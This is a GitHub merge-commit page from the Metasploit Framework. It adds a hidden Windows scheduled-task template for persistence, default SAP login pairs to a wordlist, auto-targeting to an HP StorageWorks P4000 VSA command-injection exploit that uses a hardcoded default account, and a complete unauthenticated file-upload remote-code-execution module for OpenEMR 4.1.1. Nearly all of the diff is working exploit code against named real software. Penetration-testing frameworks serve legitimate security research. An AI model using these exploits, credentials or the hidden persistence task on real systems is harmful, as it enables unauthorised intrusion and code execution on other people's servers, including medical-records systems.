Skip to content

Commit f5d9887

Browse files
egyptegypt
committed
Merge branch 'rapid7' into R3dy-psexec-mixin2
2 parents 4703278 + 37634a9 commit f5d9887

File tree

8 files changed

+965
-10
lines changed

8 files changed

+965
-10
lines changed

‎data/exploits/s4u_persistence.xml

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<?xml version="1.0" encoding="UTF-16"?>
2+
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
3+
<RegistrationInfo>
4+
<Date>DATEHERE</Date>
5+
<Author>USERHERE</Author>
6+
</RegistrationInfo>
7+
<Triggers>
8+
<TimeTrigger>
9+
<Repetition>
10+
<Interval>PT60M</Interval>
11+
<StopAtDurationEnd>false</StopAtDurationEnd>
12+
</Repetition>
13+
<StartBoundary>DATEHERE</StartBoundary>
14+
<Enabled>true</Enabled>
15+
</TimeTrigger>
16+
</Triggers>
17+
<Principals>
18+
<Principal id="Author">
19+
<UserId>DOMAINHERE</UserId>
20+
<LogonType>S4U</LogonType>
21+
<RunLevel>LeastPrivilege</RunLevel>
22+
</Principal>
23+
</Principals>
24+
<Settings>
25+
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
26+
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
27+
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
28+
<AllowHardTerminate>true</AllowHardTerminate>
29+
<StartWhenAvailable>false</StartWhenAvailable>
30+
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
31+
<IdleSettings>
32+
<Duration>PT10M</Duration>
33+
<WaitTimeout>PT1H</WaitTimeout>
34+
<StopOnIdleEnd>true</StopOnIdleEnd>
35+
<RestartOnIdle>false</RestartOnIdle>
36+
</IdleSettings>
37+
<AllowStartOnDemand>true</AllowStartOnDemand>
38+
<Enabled>true</Enabled>
39+
<Hidden>true</Hidden>
40+
<RunOnlyIfIdle>false</RunOnlyIfIdle>
41+
<WakeToRun>false</WakeToRun>
42+
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
43+
<Priority>7</Priority>
44+
</Settings>
45+
<Actions Context="Author">
46+
<Exec>
47+
<Command>COMMANDHERE</Command>
48+
</Exec>
49+
</Actions>
50+
</Task>

‎data/wordlists/sap_default.txt

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,3 +12,7 @@ ADS_AGENT ch4ngeme
1212
DEVELOPER ch4ngeme
1313
J2EE_ADMIN ch4ngeme
1414
SAPJSF ch4ngeme
15+
SAPR3 SAP
16+
CTB_ADMIN sap123
17+
XMI_DEMO sap123
18+

‎modules/exploits/multi/misc/hp_vsa_exec.rb

Lines changed: 43 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info={})
1717
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
1818
'Description' => %q{
1919
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
20-
versions prior to 9.5. By using a default account credential, it is possible
20+
versions prior to 9.5. By using a default account credential, it is possible
2121
to inject arbitrary commands as part of a ping request via port 13838.
2222
},
2323
'License' => MSF_LICENSE,
@@ -50,9 +50,11 @@ def initialize(info={})
5050
'Arch' => ARCH_CMD,
5151
'Targets' =>
5252
[
53-
['HP VSA prior to 9.5', {}]
53+
[ 'Automatic', {} ],
54+
[ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ],
55+
[ 'HP VSA 9', { 'Version' => '9.0.0' } ]
5456
],
55-
'Privileged' => false,
57+
'Privileged' => true,
5658
'DisclosureDate' => "Nov 11 2011",
5759
'DefaultTarget' => 0))
5860

@@ -75,20 +77,53 @@ def generate_packet(data)
7577
pkt
7678
end
7779

80+
def get_target
81+
if target.name !~ /Automatic/
82+
return target
83+
end
7884

79-
def exploit
80-
connect
81-
82-
# Login packet
83-
print_status("#{rhost}:#{rport} Sending login packet")
85+
# Login at 8.5.0
8486
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
87+
print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0")
88+
sock.put(packet)
89+
res = sock.get_once
90+
vprint_status(Rex::Text.to_hex_dump(res)) if res
91+
if res and res=~ /OK/ and res=~ /Login/
92+
return targets[1]
93+
end
94+
95+
# Login at 9.0.0
96+
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"")
97+
print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0")
8598
sock.put(packet)
8699
res = sock.get_once
87100
vprint_status(Rex::Text.to_hex_dump(res)) if res
101+
if res and res=~ /OK/ and res =~ /Login/
102+
return targets[2]
103+
end
104+
105+
fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
106+
end
107+
108+
def exploit
109+
connect
110+
111+
if target.name =~ /Automatic/
112+
my_target = get_target
113+
print_good("#{rhost}:#{rport} - Target #{my_target.name} found")
114+
else
115+
my_target = target
116+
print_status("#{rhost}:#{rport} Sending login packet")
117+
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"")
118+
sock.put(packet)
119+
res = sock.get_once
120+
vprint_status(Rex::Text.to_hex_dump(res)) if res
121+
end
88122

89123
# Command execution
90124
print_status("#{rhost}:#{rport} Sending injection")
91125
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
126+
data << "64/5/" if my_target.name =~ /9/
92127
packet = generate_packet(data)
93128
sock.put(packet)
94129
res = sock.get_once

‎modules/exploits/unix/webapp/openemr_upload_exec.rb

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "OpenEMR PHP File Upload Vulnerability",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
21+
ofc_upload_image.php file from the openflashchart library, a malicious user can
22+
upload a file to the tmp-upload-images directory without any authentication, which
23+
results in arbitrary code execution. The module has been tested successfully on
24+
OpenEMR 4.1.1 over Ubuntu 10.04.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '90222' ],
35+
[ 'BID', '37314' ],
36+
[ 'EBD', '24492' ],
37+
[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
38+
[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
39+
],
40+
'Platform' => ['php'],
41+
'Arch' => ARCH_PHP,
42+
'Targets' =>
43+
[
44+
['OpenEMR 4.1.1', {}]
45+
],
46+
'Privileged' => false,
47+
'DisclosureDate' => "Feb 13 2013",
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
53+
], self.class)
54+
end
55+
56+
def check
57+
uri = target_uri.path
58+
peer = "#{rhost}:#{rport}"
59+
60+
# Check version
61+
print_status("#{peer} - Trying to detect installed version")
62+
63+
res = send_request_cgi({
64+
'method' => 'GET',
65+
'uri' => normalize_uri(uri, "interface", "login", "login.php")
66+
})
67+
68+
if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
69+
version = $1
70+
else
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
print_status("#{peer} - Version #{version} detected")
75+
76+
if version > "4.1.1"
77+
return Exploit::CheckCode::Safe
78+
end
79+
80+
# Check for vulnerable component
81+
print_status("#{peer} - Trying to detect the vulnerable component")
82+
83+
res = send_request_cgi({
84+
'method' => 'GET',
85+
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
86+
})
87+
88+
if res and res.code == 200 and res.body =~ /Saving your image to/
89+
return Exploit::CheckCode::Detected
90+
end
91+
92+
return Exploit::CheckCode::Safe
93+
end
94+
95+
def exploit
96+
uri = target_uri.path
97+
98+
peer = "#{rhost}:#{rport}"
99+
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
100+
my_payload = payload.encoded
101+
102+
print_status("#{peer} - Sending PHP payload (#{payload_name})")
103+
res = send_request_raw({
104+
'method' => 'POST',
105+
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
106+
'headers' => { "Content-Length" => my_payload.length.to_s },
107+
'data' => my_payload
108+
})
109+
110+
# If the server returns 200 and the body contains our payload name,
111+
# we assume we uploaded the malicious file successfully
112+
if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
113+
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
114+
end
115+
116+
register_file_for_cleanup(payload_name)
117+
118+
print_status("#{peer} - Executing PHP payload (#{payload_name})")
119+
# Execute our payload
120+
res = send_request_cgi({
121+
'method' => 'GET',
122+
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
123+
})
124+
125+
# If we don't get a 200 when we request our malicious payload, we suspect
126+
# we don't have a shell, either. Print the status code for debugging purposes.
127+
if res and res.code != 200
128+
print_error("#{peer} - Server returned #{res.code.to_s}")
129+
end
130+
end
131+
132+
end

0 commit comments

Comments
 (0)